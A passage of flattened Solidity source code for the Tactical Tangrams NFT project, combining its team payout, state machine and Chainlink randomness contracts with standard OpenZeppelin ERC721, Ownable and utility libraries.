0; if (secondaryBalanceTotal > teamShare[shareIndex + TEAM_SHARE_SECONDARY_PAID_OFFSET]) { uint secondaryShareToPay = secondaryBalanceTotal - teamShare[shareIndex + TEAM_SHARE_SECONDARY_PAID_OFFSET]; teamShare[shareIndex + TEAM_SHARE_SECONDARY_PAID_OFFSET] = secondaryBalanceTotal; secondaryShare = (secondaryShareToPay * teamShare[shareIndex + TEAM_SHARE_SECONDARY_OFFSET]) / 1000; } uint total = mintShare + secondaryShare; require( total > 0, "Nothing to pay" ); (bool sent,) = payable(_msgSender()).call{value: total}(""); require( sent, TX_FAILED ); } /// @notice Keep track of total secondary sales earnings receive() external payable { secondaryBalanceTotal += msg.value; } /// @notice Require emergency payout to not have been called modifier emergencyNotCalled() { require( false == emergencyCalled, "Emergency called" ); _; } /// ___ ___ ___ /// ___ ___ ___|_ |_ |_ | /// | -_| _| _| | | _|_| |_ /// |___|_| |___| |_|___|_____| /// @notice Burn token on behalf of Tangram contract /// @dev Caller needs to verify token ownership /// @param tokenId Token ID to burn function burn(uint256 tokenId) external onlyTangramContract() whenNotPaused() { _burn(tokenId); } /// @notice Return metadata url (placeholder) or base64-encoded metadata when gen-1 has started /// @dev Overridden from OpenZeppelin's implementation to skip the unused baseURI check function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "Nonexistent token" ); if (state <= StateType.MINTCLOSED) { return string(abi.encodePacked( METADATA_BASE_URI, "placeholder", JSON_EXT )); } uint generation = tangramContract.getGeneration(tokenId); require( generation <= currentGeneration, INVALID_GENERATION ); return tangramContract.getTanMetadata(tokenId, generation, generationSeed[generation]); } /// _ _ _ /// _____ ___| |_ ___ _| |___| |_ ___ /// | | -_| _| .'| . | .'| _| .'| /// |_|_|_|___|_| |__,|___|__,|_| |__,| function contractURI() public pure returns (string memory) { return string(abi.encodePacked( METADATA_BASE_URI, METADATA_CONTRACT, JSON_EXT )); } /// _ /// ___ ___ ___ ___ ___ ___| | /// | . | -_| | -_| _| .'| | /// |_ |___|_|_|___|_| |__,|_| /// |___| uint private mintBalanceTotal = 0; uint private secondaryBalanceTotal = 0; uint public currentGeneration = 0; string private constant METADATA_BASE_URI = 'https://tacticaltangrams.io/metadata/'; string private constant METADATA_CONTRACT = 'contract_tan'; string private constant JSON_EXT = '.json'; string private constant INVALID_GENERATION = "Invalid generation"; string private constant ONLY_TEAM_MEMBER = "Only team member"; modifier generationBetween(uint generation, uint from, uint to) { require( generation >= from && generation <= to, INVALID_GENERATION ); _; } /// @notice Require that the sender is a team member modifier onlyTeamMember() { require( isTeamMember(_msgSender()), ONLY_TEAM_MEMBER ); _; } /// @notice Require that the sender is a team member or the contract owner modifier onlyTeamMemberOrOwner() { require( _msgSender() == owner() || isTeamMember(_msgSender()), string(abi.encodePacked(ONLY_TEAM_MEMBER, " or owner")) ); _; } /// _ _ _____ /// ___ ___ ___| |_ ___ ___ ___| |_ |_ _|___ ___ ___ ___ ___ _____ /// | _| . | | _| _| .'| _| _| | | | .'| | . | _| .'| | /// |___|___|_|_|_| |_| |__,|___|_| |_| |__,|_|_|_ |_| |__,|_|_|_| /// |___| TangramContract tangramContract; address tangramContractAddress; /// @notice Set Tangram contract address /// @param _tangramContract Address for Tangram contract function setTangramContract(address _tangramContract) public onlyOwner() { tangramContractAddress = _tangramContract; tangramContract = TangramContract(_tangramContract); } /// @notice Require that the sender is the Tangram contract modifier onlyTangramContract() { require( _msgSender() == tangramContractAddress, "Only Tangram contract" ); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; /// _ _ _ _ _ _ /// | |_ ___ ___| |_|_|___ ___| | | |_ ___ ___ ___ ___ ___ _____ ___ |_|___ /// | _| .'| _| _| | _| .'| | | _| .'| | . | _| .'| |_ -| _ | | . | /// |_| |__,|___|_| |_|___|__,|_| |_| |__,|_|_|_ |_| |__,|_|_|_|___| |_| |_|___| /// |___| /// /// tacticaltangrams.io /// _ _ _____ _ _ /// ___ ___ ___| |_ ___ ___ ___| |_ | __| |_ ___| |_ ___ /// | _| . | | _| _| .'| _| _| |__ | _| .'| _| -_| /// |___|___|_|_|_| |_| |__,|___|_| |_____|_| |__,|_| |___| /// @title Tactical Tangrams State contract /// @author tacticaltangrams.io /// @notice Implements the basis for Tactical Tangram's state machine abstract contract State { /// @notice Emit state changes /// @param oldState Previous state /// @param newState Current state event StateChanged(StateType oldState, StateType newState); /// @notice Change to new state when state change is allowed /// @dev Virtual methods changeState* have to be implemented. Invalid state changes have to be reverted in each changeState* method /// @param _from State to change from /// @param _to State to change to function changeState(StateType _from, StateType _to) internal { require( (_from != _to) && (StateType.ALL == _from || state == _from), INVALID_STATE_CHANGE ); bool stateChangeHandled = false; if (StateType.PREMINT == _to) { stateChangeHandled = true; changeStatePremint(); } else if (StateType.MINT == _to) { stateChangeHandled = true; changeStateMint(); } else if (StateType.MINTCLOSED == _to) { stateChangeHandled = true; changeStateMintClosed(); } // StateType.GENERATIONSTARTED cannot be set over setState, this is done implicitly by processGenerationSeedReceived else if (StateType.GENERATIONCLOSING == _to) { stateChangeHandled = true; changeStateGenerationClosing(); } else if (StateType.GENERATIONCLOSED == _to) { stateChangeHandled = true; changeStateGenerationClosed(); } require( stateChangeHandled, INVALID_STATE_CHANGE ); state = _to; emit StateChanged(_from, _to); if (StateType.MINTCLOSED == _to) { changeStateMintClosedAfter(); } } function changeStatePremint() internal virtual; function changeStateMint() internal virtual; function changeStateMintClosed() internal virtual; function changeStateMintClosedAfter() internal virtual; function changeStateGenerationStarted() internal virtual; function changeStateGenerationClosing() internal virtual; function changeStateGenerationClosed() internal virtual; /// @notice Verify allowed states /// @param _either Allowed state /// @param _or Allowed state modifier inEitherState(StateType _either, StateType _or) { require( (state == _either) || (state == _or), INVALID_STATE ); _; } /// @notice Verify allowed state /// @param _state Allowed state modifier inState(StateType _state) { require( state == _state, INVALID_STATE ); _; } /// @notice Verify allowed minimum state /// @param _state Minimum allowed state modifier inStateOrAbove(StateType _state) { require( state >= _state, INVALID_STATE ); _; } /// @notice List of states for Tactical Tangrams /// @dev When in states GENERATIONSTARTED, GENERATIONCLOSING or GENERATIONCLOSED, Tan.currentGeneration indicates the current state enum StateType { ALL , DEPLOYED , // contract has been deployed PREMINT , // only OG and WL minting allowed MINT , // only public minting allowed MINTCLOSED , // no more minting allowed; total mint income stored, random seed for gen 1 requested GENERATIONSTARTED , // random seed available, Tans revealed GENERATIONCLOSING , // 80-100% Tans swapped GENERATIONCLOSED // 100% Tans swapped, random seed for next generation requested for gen < 7 } StateType public state = StateType.DEPLOYED; string private constant INVALID_STATE = "Invalid state"; string private constant INVALID_STATE_CHANGE = "Invalid state change"; } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; /// _ _ _ _ _ _ /// | |_ ___ ___| |_|_|___ ___| | | |_ ___ ___ ___ ___ ___ _____ ___ |_|___ /// | _| .'| _| _| | _| .'| | | _| .'| | . | _| .'| |_ -| _ | | . | /// |_| |__,|___|_| |_|___|__,|_| |_| |__,|_|_|_ |_| |__,|_|_|_|___| |_| |_|___| /// |___| /// /// tacticaltangrams.io /// _ _ /// |_|_____ ___ ___ ___| |_ ___ /// | | | . | . | _| _|_ -| /// |_|_|_|_| _|___|_| |_| |___| /// |_| import "@openzeppelin/contracts/utils/Context.sol"; /// _ _ _____ /// ___ ___ ___| |_ ___ ___ ___| |_ |_ _|___ ___ _____ /// | _| . | | _| _| .'| _| _| | | | -_| .'| | /// |___|___|_|_|_| |_| |__,|___|_| |_| |___|__,|_|_|_| /// @title Tactical Tangrams Team contract /// @author tacticaltangrams.io /// @notice Contains wallet and share details for personal payouts contract Team is Context { uint internal constant TEAM_SIZE = 4; uint internal constant TEAM_SHARE_RECORD_SIZE = 3; uint internal constant TEAM_SHARE_MINT_OFFSET = 0; uint internal constant TEAM_SHARE_SECONDARY_OFFSET = 1; uint internal constant TEAM_SHARE_SECONDARY_PAID_OFFSET = 2; /// _ _ /// ___ ___ ___ ___| |_ ___ _ _ ___| |_ ___ ___ /// | _| . | |_ -| _| _| | | _| _| . | _| /// |___|___|_|_|___|_| |_| |___|___|_| |___|_| /// @notice Deployment constructor /// @dev Initializes team addresses. Note that this is only meant for deployment flexibility; the team size and rewards are fixed in the contract /// @param _teamAddresses List of team member's addresses; first address is emergency address constructor(address payable[TEAM_SIZE] memory _teamAddresses) { for (uint teamIndex = 0; teamIndex < teamAddresses.length; teamIndex++) { teamAddresses[teamIndex] = _teamAddresses[teamIndex]; } } /// @notice Returns the team member's index based on wallet address /// @param _address Wallet address of team member /// @return (bool, index) where bool indicates whether the given address is a team member function getTeamIndex(address _address) internal view returns (bool, uint) { for (uint index = 0; index < TEAM_SIZE; index++) { if (_address == teamAddresses[index]) { return (true, index); } } return (false, 0); } /// @notice Checks whether given address is a team member /// @param _address Address to check team membership for /// @return True when _address is a team member, False otherwise function isTeamMember(address _address) internal view returns (bool) { (bool _isTeamMember,) = getTeamIndex(_address); return _isTeamMember; } /// @notice Team member's addresses /// @dev Team member information in other arrays can be found at the corresponding index. address payable[TEAM_SIZE] internal teamAddresses; /// @notice The emergency address is used when things go wrong; no personal payout is possible anymore after emergency payout bool internal emergencyCalled = false; /// @notice Mint shares are paid out only once per address, after public minting has closed bool[TEAM_SIZE] internal mintSharePaid = [ false, false, false, false ]; /// @notice Mint and secondary sales details per team member /// @dev Flattened array: [[<mint promille>, <secondary sales promille>, <secondary sales shares paid>], ..] uint[TEAM_SIZE * TEAM_SHARE_RECORD_SIZE] internal teamShare = [ 450, 287, 0, 300, 287, 0, 215, 286, 0, 35, 140, 0 ]; } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; /// _ _ _ _ _ _ /// | |_ ___ ___| |_|_|___ ___| | | |_ ___ ___ ___ ___ ___ _____ ___ |_|___ /// | _| .'| _| _| | _| .'| | | _| .'| | . | _| .'| |_ -| _ | | . | /// |_| |__,|___|_| |_|___|__,|_| |_| |__,|_|_|_ |_| |__,|_|_|_|___| |_| |_|___| /// |___| /// /// tacticaltangrams.io /// _ _ /// |_|_____ ___ ___ ___| |_ ___ /// | | | . | . | _| _|_ -| /// |_|_|_|_| _|___|_| |_| |___| /// |_| import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; /// _ _ _____ _____ _____ ___ ___ /// ___ ___ ___| |_ ___ ___ ___| |_ | | | __ | __|_ | | /// | _| . | | _| _| .'| _| _| | | | -| __| _| | | /// |___|___|_|_|_| |_| |__,|___|_| \___/|__|__|__| |___|___| /// @title Tactical Tangrams VRP20 randomness contract /// @author tacticaltangrams.io, based on a sample taken from https://docs.chain.link/docs/chainlink-vrf/ /// @notice Requests random seed for each generation abstract contract VRFD20 is VRFConsumerBase { /// _ _ /// ___ ___ ___ ___| |_ ___ _ _ ___| |_ ___ ___ /// | _| . | |_ -| _| _| | | _| _| . | _| /// |___|___|_|_|___|_| |_| |___|___|_| |___|_| /// @notice Deployment constructor /// @dev Note that these parameter values differ per network, see https://docs.chain.link/docs/vrf-contracts/ /// @param _vrfCoordinator Chainlink VRF Coordinator address /// @param _link LINK token address /// @param _keyHash Public key against which randomness is created /// @param _fee VRF Chainlink fee in LINK constructor(address _vrfCoordinator, address _link, bytes32 _keyHash, uint _fee) VRFConsumerBase(_vrfCoordinator, _link) { keyHash = _keyHash; fee = _fee; } /// @notice Request generation seed /// @dev Only request when last request is: older than 30 minutes and (seed has not been requested or received) and (previous generation seed has been received) /// @param requestForGeneration Generation for which to request seed function requestGenerationSeed(uint requestForGeneration) internal lastGenerationSeedRequestTimedOut() { require( LINK.balanceOf(address(this)) >= fee, "Not enough LINK" ); // Do not check whether seed has already been requested; requests can theoretically timeout require( (generationSeed[requestForGeneration] == 0) || // not requested (generationSeed[requestForGeneration] == type(uint).max), // not received "Seed already requested or received" ); // Verify that previous generation seed has been received, when applicable if (requestForGeneration > 1) { require( generationSeed[requestForGeneration-1] != type(uint).max, "Previous generation seed not received" ); } lastGenerationSeedRequestTimestamp = block.timestamp; bytes32 requestId = requestRandomness(keyHash, fee); generationSeedRequest[requestId] = requestForGeneration; generationSeed[requestForGeneration] = type(uint).max; } /// @notice Cast uint256 to bytes /// @param x Value to cast from /// @return b Bytes representation of x function toBytes(uint256 x) private pure returns (bytes memory b) { b = new bytes(32); assembly { mstore(add(b, 32), x) } } /// @notice Receive generation seed /// @dev Only possible when generation seed has not been received yet function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { uint generation = generationSeedRequest[requestId]; require( (generation >= 1) && (generation <= 7), "Invalid generation" ); if (generation > 1) { require( generationSeed[generation-1] != type(uint).max, "Previous generation seed not received" ); } require( generationSeed[generation] == type(uint).max, "Random number not requested or already received" ); generationSeed[generation] = randomness; generationHash[generation] = keccak256(toBytes(randomness)); processGenerationSeedReceived(generation); } /// @notice Method invoked when randomness for a valid request has been received /// @dev Implement this method in inheriting contract. Random number is stored in generationSeed[generation] /// @param generation Generation number for which random number has been received function processGenerationSeedReceived(uint generation) virtual internal; /// @notice Allow re-requesting of generation seeds after GENERATION_SEED_REQUEST_TIMEOUT (30 minutes) /// @dev In the very unlikely event that a request is never answered, re-requesting should be allowed modifier lastGenerationSeedRequestTimedOut() { require( (lastGenerationSeedRequestTimestamp + GENERATION_SEED_REQUEST_TIMEOUT) < block.timestamp, "Not timed out" ); _; } /// @notice Chainlink fee in LINK for VRF /// @dev Set this to 0.1 LINK for Rinkeby, 2 LINK for mainnet uint private immutable fee; bytes32 private immutable keyHash; uint lastGenerationSeedRequestTimestamp = 0; uint GENERATION_SEED_REQUEST_TIMEOUT = 1800; // 30 minutes request timeout mapping(bytes32 => uint) public generationSeedRequest; mapping(uint => uint) public generationSeed; mapping(uint => bytes32) public generationHash; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: 